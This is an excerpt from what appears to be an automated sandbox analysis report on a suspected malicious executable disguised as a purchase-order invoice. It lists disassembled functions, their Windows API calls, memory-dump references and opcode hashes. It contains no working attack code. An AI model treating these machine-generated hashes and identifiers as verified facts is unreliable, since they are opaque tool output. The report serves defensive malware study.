                                                                                            • Opcode ID: a78582cd8c915fd270119012ff4eddf0033f410814d91724adacf9cac7d73a6b
                                                                                            • Instruction ID: 5bb77caae3378c1c36de35f78993aeb7f53e4fc0e9047450929301c31466c70f
                                                                                            • Opcode Fuzzy Hash: a78582cd8c915fd270119012ff4eddf0033f410814d91724adacf9cac7d73a6b
                                                                                            • Instruction Fuzzy Hash: 60114F72204A00BFD254DF55CC49F5BB3F9AFCCB01F20950DB254922A0D7B4E9418BA9
                                                                                            Function 0044419B Relevance: 6.1, APIs: 4, Instructions: 53synchronizationthreadwindowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetCurrentThreadId.KERNEL32 ref: 004441B8
                                                                                            • MessageBoxW.USER32(?,?,?,?), ref: 004441F6
                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0044420C
                                                                                            • CloseHandle.KERNEL32(00000000), ref: 00444213
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: CloseCurrentHandleMessageObjectSingleThreadWait
                                                                                            • String ID:
                                                                                            • API String ID: 2880819207-0
                                                                                            • Opcode ID: 146d2f4ba151d14deb3aa3acfdd6de045567f86e28c98b22242e1e1489ea4094
                                                                                            • Instruction ID: a177bb78e812b0c83f085b16f259857c8a511f23e32e5024349264f8b0df3d09
                                                                                            • Opcode Fuzzy Hash: 146d2f4ba151d14deb3aa3acfdd6de045567f86e28c98b22242e1e1489ea4094
                                                                                            • Instruction Fuzzy Hash: C401E5364183105BD300DB28ED08A9BBBD8BFD9721F18067EF89893351E6B48948C7B6
                                                                                            Function 0043401C Relevance: 6.0, APIs: 4, Instructions: 50COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetWindowRect.USER32(?,?), ref: 00434037
                                                                                            • ScreenToClient.USER32(?,?), ref: 0043405B
                                                                                            • ScreenToClient.USER32(?,?), ref: 00434085
                                                                                            • InvalidateRect.USER32(?,?,?), ref: 004340A4
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: ClientRectScreen$InvalidateWindow
                                                                                            • String ID:
                                                                                            • API String ID: 357397906-0
                                                                                            • Opcode ID: 751e48bbdad3fa965b56aea51b9fa4e55de6b4169d4940aca7a3583b508516de
                                                                                            • Instruction ID: 02545dd0d615a745195cb6f618e51c1f9c2552a202a2369b8695847d2ce6fb2f
                                                                                            • Opcode Fuzzy Hash: 751e48bbdad3fa965b56aea51b9fa4e55de6b4169d4940aca7a3583b508516de
                                                                                            • Instruction Fuzzy Hash: 24117EB9608302AFC304DF18D98095BBBE9FFD8650F10891EF88993350D770E9498BA2
                                                                                            Function 00436A1D Relevance: 6.0, APIs: 4, Instructions: 48COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • __wsplitpath.LIBCMT ref: 00436A45
                                                                                              • Part of subcall function 00413DB0: __wsplitpath_helper.LIBCMT ref: 00413DF2
                                                                                            • __wsplitpath.LIBCMT ref: 00436A6C
                                                                                            • __wcsicoll.LIBCMT ref: 00436A93
                                                                                            • __wcsicoll.LIBCMT ref: 00436AB0
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: __wcsicoll__wsplitpath$__wsplitpath_helper
                                                                                            • String ID:
                                                                                            • API String ID: 1187119602-0
                                                                                            • Opcode ID: 5b78189461bd351535feab14c2aa3b28919a840a222a6c91b90152b853837e7b
                                                                                            • Instruction ID: cc447ddabc085245cf6c6bda96777749177fc915bba42f20b5b260b799017f3a
                                                                                            • Opcode Fuzzy Hash: 5b78189461bd351535feab14c2aa3b28919a840a222a6c91b90152b853837e7b
                                                                                            • Instruction Fuzzy Hash: 690165B64043416BD724EB50D881EEBB3ED7BD8304F04C91EB5C982041FB38D24C87A6
                                                                                            Function 00437AFE Relevance: 6.0, APIs: 4, Instructions: 44COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: _wcslen$_malloc_wcscat_wcscpy
                                                                                            • String ID:
                                                                                            • API String ID: 1597257046-0
                                                                                            • Opcode ID: 6b0dcf7875e5cc8b2f124becf3425b1e3567ced601fe1f13ac9ef2b9b8e14b5c
                                                                                            • Instruction ID: 9df5ee2dcc5f1a759a9cde70f7b42babd8a8bdcc369222b22224423102f690bd
                                                                                            • Opcode Fuzzy Hash: 6b0dcf7875e5cc8b2f124becf3425b1e3567ced601fe1f13ac9ef2b9b8e14b5c
                                                                                            • Instruction Fuzzy Hash: BFF06D32200200AFC314EB66C885E6BB3EAEBC5324F04852EF556C7791DB39F841C764
                                                                                            Function 004555D6 Relevance: 6.0, APIs: 4, Instructions: 40windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • DeleteObject.GDI32(?), ref: 0045564E
                                                                                            • DeleteObject.GDI32(?), ref: 0045565C
                                                                                            • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                            • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: DeleteDestroyObject$IconWindow
                                                                                            • String ID:
                                                                                            • API String ID: 3349847261-0
                                                                                            • Opcode ID: 3ca9d014447a04aedc0dfd8276f5a6e9fbff97cfd7386ed498fa31ba53dce0fe
                                                                                            • Instruction ID: 3a9029eb8e47786e7dec82746d504bb216afab776d143f23dce7b1a7602128e4
                                                                                            • Opcode Fuzzy Hash: 3ca9d014447a04aedc0dfd8276f5a6e9fbff97cfd7386ed498fa31ba53dce0fe
                                                                                            • Instruction Fuzzy Hash: 06F03C702006419BDB20AF65DDD8A2B77ACEF45322740456AFD04D7242DB28DC498B7D
                                                                                            Function 0044B600 Relevance: 6.0, APIs: 4, Instructions: 33COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • EnterCriticalSection.KERNEL32(?), ref: 0044B60B
                                                                                            • InterlockedExchange.KERNEL32(?,?), ref: 0044B619
                                                                                            • LeaveCriticalSection.KERNEL32(?), ref: 0044B630
                                                                                            • LeaveCriticalSection.KERNEL32(?), ref: 0044B641
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: CriticalSection$Leave$EnterExchangeInterlocked
                                                                                            • String ID:
                                                                                            • API String ID: 2223660684-0
                                                                                            • Opcode ID: ff66e887f7cbb15f4500d5b6eb7e85b0bae77af45fe5867796c74117f3ed7197
                                                                                            • Instruction ID: 8f2921e390180aa9c6083979f061463a0462abb68b72a76a452ff5fd2bc04521
                                                                                            • Opcode Fuzzy Hash: ff66e887f7cbb15f4500d5b6eb7e85b0bae77af45fe5867796c74117f3ed7197
                                                                                            • Instruction Fuzzy Hash: 35F08C362422019F82249B59EA488DBB3FDEBE97213009C2FE142C32108BB5F806CB75
                                                                                            Function 00447268 Relevance: 6.0, APIs: 4, Instructions: 32COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 0044710F: DeleteObject.GDI32(00000000), ref: 00447151
                                                                                              • Part of subcall function 0044710F: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
                                                                                              • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471A2
                                                                                              • Part of subcall function 0044710F: BeginPath.GDI32(?), ref: 004471B7
                                                                                              • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471DC
                                                                                            • MoveToEx.GDI32(?,?,00000000,00000000), ref: 0044728F
                                                                                            • LineTo.GDI32(?,00000000,00000002), ref: 004472A0
                                                                                            • EndPath.GDI32(?), ref: 004472B0
                                                                                            • StrokePath.GDI32(?), ref: 004472BE
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: ObjectPath$Select$BeginCreateDeleteLineMoveStroke
                                                                                            • String ID:
                                                                                            • API String ID: 2783949968-0
                                                                                            • Opcode ID: 09270453bc364e96d12f6c3f9be453f1264e71f62e0889bc66601f12e66ee767
                                                                                            • Instruction ID: 15f667079dd022c0076d5117e5ffb33549464faf874781034dcdd6a9c0a79bb3
                                                                                            • Opcode Fuzzy Hash: 09270453bc364e96d12f6c3f9be453f1264e71f62e0889bc66601f12e66ee767
                                                                                            • Instruction Fuzzy Hash: 46F09030109361BFE211DB10DC0AF9F3B98AB46310F10490CF641622D2C7B46845C7BA
                                                                                            Function 00417D0E Relevance: 6.0, APIs: 4, Instructions: 31COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • __getptd.LIBCMT ref: 00417D1A
                                                                                              • Part of subcall function 00416C72: __getptd_noexit.LIBCMT ref: 00416C75
                                                                                              • Part of subcall function 00416C72: __amsg_exit.LIBCMT ref: 00416C82
                                                                                            • __getptd.LIBCMT ref: 00417D31
                                                                                            • __amsg_exit.LIBCMT ref: 00417D3F
                                                                                            • __lock.LIBCMT ref: 00417D4F
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: __amsg_exit__getptd$__getptd_noexit__lock
                                                                                            • String ID:
                                                                                            • API String ID: 3521780317-0
                                                                                            • Opcode ID: 6e88b35b2b81098ca19d257f076875e832caf49443e3c23eeee739354b537ff9
                                                                                            • Instruction ID: 784cd6646040312d8c3929352b57c791f513dbd9ce30c249d09a92555f0e5bc7
                                                                                            • Opcode Fuzzy Hash: 6e88b35b2b81098ca19d257f076875e832caf49443e3c23eeee739354b537ff9
                                                                                            • Instruction Fuzzy Hash: D4F06D319447089AD720FB66E4067EA32B0AF01728F11856FA4415B7D2DB3C99C08B9E
                                                                                            Function 00471144 Relevance: 6.0, APIs: 4, Instructions: 28COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetDesktopWindow.USER32 ref: 00471144
                                                                                            • GetDC.USER32(00000000), ref: 0047114D
                                                                                            • GetDeviceCaps.GDI32(00000000,00000074), ref: 0047115A
                                                                                            • ReleaseDC.USER32(00000000,?), ref: 0047117B
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: CapsDesktopDeviceReleaseWindow
                                                                                            • String ID:
                                                                                            • API String ID: 2889604237-0
                                                                                            • Opcode ID: 949280357db84fa49407f8095e759b2e277f1c53a9819964645a6bf04a6d26c7
                                                                                            • Instruction ID: a1da8b046b56c0024f4e51319ca7c868ce9b42ab557c4db2e47d6af70bf9fcef
                                                                                            • Opcode Fuzzy Hash: 949280357db84fa49407f8095e759b2e277f1c53a9819964645a6bf04a6d26c7
                                                                                            • Instruction Fuzzy Hash: 75F05E759042009FC310DF65DC4856EBBA4FB94351F108C3EFD05D2251DB7889059B99
                                                                                            Function 00471102 Relevance: 6.0, APIs: 4, Instructions: 28COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetDesktopWindow.USER32 ref: 00471102
                                                                                            • GetDC.USER32(00000000), ref: 0047110B
                                                                                            • GetDeviceCaps.GDI32(00000000,0000000C), ref: 00471118
                                                                                            • ReleaseDC.USER32(00000000,?), ref: 00471139
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: CapsDesktopDeviceReleaseWindow
                                                                                            • String ID:
                                                                                            • API String ID: 2889604237-0
                                                                                            • Opcode ID: 179ddf2500a9669b2282ba4880ad99879b6dd87bde84ab61e923a9eee80713d7
                                                                                            • Instruction ID: 5204c471e266b2ed5cdb435334cd6f206910ee07043e0bb223494c3f632f6575
                                                                                            • Opcode Fuzzy Hash: 179ddf2500a9669b2282ba4880ad99879b6dd87bde84ab61e923a9eee80713d7
                                                                                            • Instruction Fuzzy Hash: 78F05E759042009FD310EF65DC5896EBBA4FB94351F104C3EFC05D2251DB7489059B99
                                                                                            Function 004389A1 Relevance: 6.0, APIs: 4, Instructions: 27threadwindowtimeCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • SendMessageTimeoutW.USER32(00000001,00000000,00000000,00000000,00000002,00001388,004848E8), ref: 004389C0
                                                                                            • GetWindowThreadProcessId.USER32(00000001,00000000), ref: 004389D3
                                                                                            • GetCurrentThreadId.KERNEL32 ref: 004389DA
                                                                                            • AttachThreadInput.USER32(00000000), ref: 004389E1
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
                                                                                            • String ID:
                                                                                            • API String ID: 2710830443-0
                                                                                            • Opcode ID: fc668e8f88677791c9032932ff1b39d21009c78d2dca35edbf1b20bb29ea35ff
                                                                                            • Instruction ID: 438da6915ae72ab6a15f098678a9856147cbf2dc0a85cf0a700465948addd5b0
                                                                                            • Opcode Fuzzy Hash: fc668e8f88677791c9032932ff1b39d21009c78d2dca35edbf1b20bb29ea35ff
                                                                                            • Instruction Fuzzy Hash: 14E012712853107BE72157509D0EFAF7B98AF18B11F14481EB241B50D0DAF8A941876E
                                                                                            Function 004390C2 Relevance: 6.0, APIs: 4, Instructions: 26synchronizationCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • WaitForSingleObject.KERNEL32(?,000000FF), ref: 004390CD
                                                                                            • UnloadUserProfile.USERENV(?,?,?,000000FF), ref: 004390DB
                                                                                            • CloseHandle.KERNEL32(?,?,000000FF), ref: 004390EB
                                                                                            • CloseHandle.KERNEL32(?,?,000000FF), ref: 004390F0
                                                                                              • Part of subcall function 00438FB6: GetProcessHeap.KERNEL32(00000000,?,00439504,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00438FC1
                                                                                              • Part of subcall function 00438FB6: HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 00438FC8
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
                                                                                            • String ID:
                                                                                            • API String ID: 146765662-0
                                                                                            • Opcode ID: 7cdfdd2e005e28f5438e9d3b399fcd684928161159dd652c77b09849c549b5d2
                                                                                            • Instruction ID: e19b07cb6d87eea3d85dfea562759309df1919ba68b29a0146d7a5ec0ea3c710
                                                                                            • Opcode Fuzzy Hash: 7cdfdd2e005e28f5438e9d3b399fcd684928161159dd652c77b09849c549b5d2
                                                                                            • Instruction Fuzzy Hash: 5DE0C976504311ABC620EB65DC48C4BB7E9EF883303114E1DF89693260CA74E881CB65
                                                                                            Function 0041405D Relevance: 6.0, APIs: 4, Instructions: 19threadCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • __IsNonwritableInCurrentImage.LIBCMT ref: 00414070
                                                                                              • Part of subcall function 00418540: __FindPESection.LIBCMT ref: 0041859B
                                                                                            • __getptd_noexit.LIBCMT ref: 00414080
                                                                                            • __freeptd.LIBCMT ref: 0041408A
                                                                                            • ExitThread.KERNEL32 ref: 00414093
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: CurrentExitFindImageNonwritableSectionThread__freeptd__getptd_noexit
                                                                                            • String ID:
                                                                                            • API String ID: 3182216644-0
                                                                                            • Opcode ID: 18f79961a183a005566c851b5a75566c8a37b9a59448809cc1b4ea10e33ea091
                                                                                            • Instruction ID: 8c1b811a677bc0208766d104aadce1409d27245c16b3af4a320e27a455eae914
                                                                                            • Opcode Fuzzy Hash: 18f79961a183a005566c851b5a75566c8a37b9a59448809cc1b4ea10e33ea091
                                                                                            • Instruction Fuzzy Hash: F8D0EC7051024256D6207BA7ED097AA3A589B44B26B15446EA905801B1DF68D9C1862D
                                                                                            Function 0046EDC6 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 383COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: BuffCharLower
                                                                                            • String ID: $8'I
                                                                                            • API String ID: 2358735015-3608026889
                                                                                            • Opcode ID: e3039598ad07eb1683e22d1e13845cc1c6bfaba1fe80df618d976ecbdfba683b
                                                                                            • Instruction ID: 1bf34105e022c250dd7240f1ea7ec4803edb57b208c13e69c3fb06210d7c4844
                                                                                            • Opcode Fuzzy Hash: e3039598ad07eb1683e22d1e13845cc1c6bfaba1fe80df618d976ecbdfba683b
                                                                                            • Instruction Fuzzy Hash: 9FE1AE745043018BCB24EF16D88166BB7E4BF94348F40482FF88597292EB79DD89CB9B
                                                                                            Function 00478373 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 277comCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • OleSetContainedObject.OLE32(00000000,00000001), ref: 0047857A
                                                                                              • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                              • Part of subcall function 00445513: OleSetContainedObject.OLE32(?,00000000), ref: 00445593
                                                                                              • Part of subcall function 004781AE: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000001,00000000,NULL Pointer assignment,00000001), ref: 00478201
                                                                                              • Part of subcall function 004781AE: VariantCopy.OLEAUT32(?,?), ref: 00478259
                                                                                              • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000058,?), ref: 00478270
                                                                                              • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000078,?), ref: 00478287
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
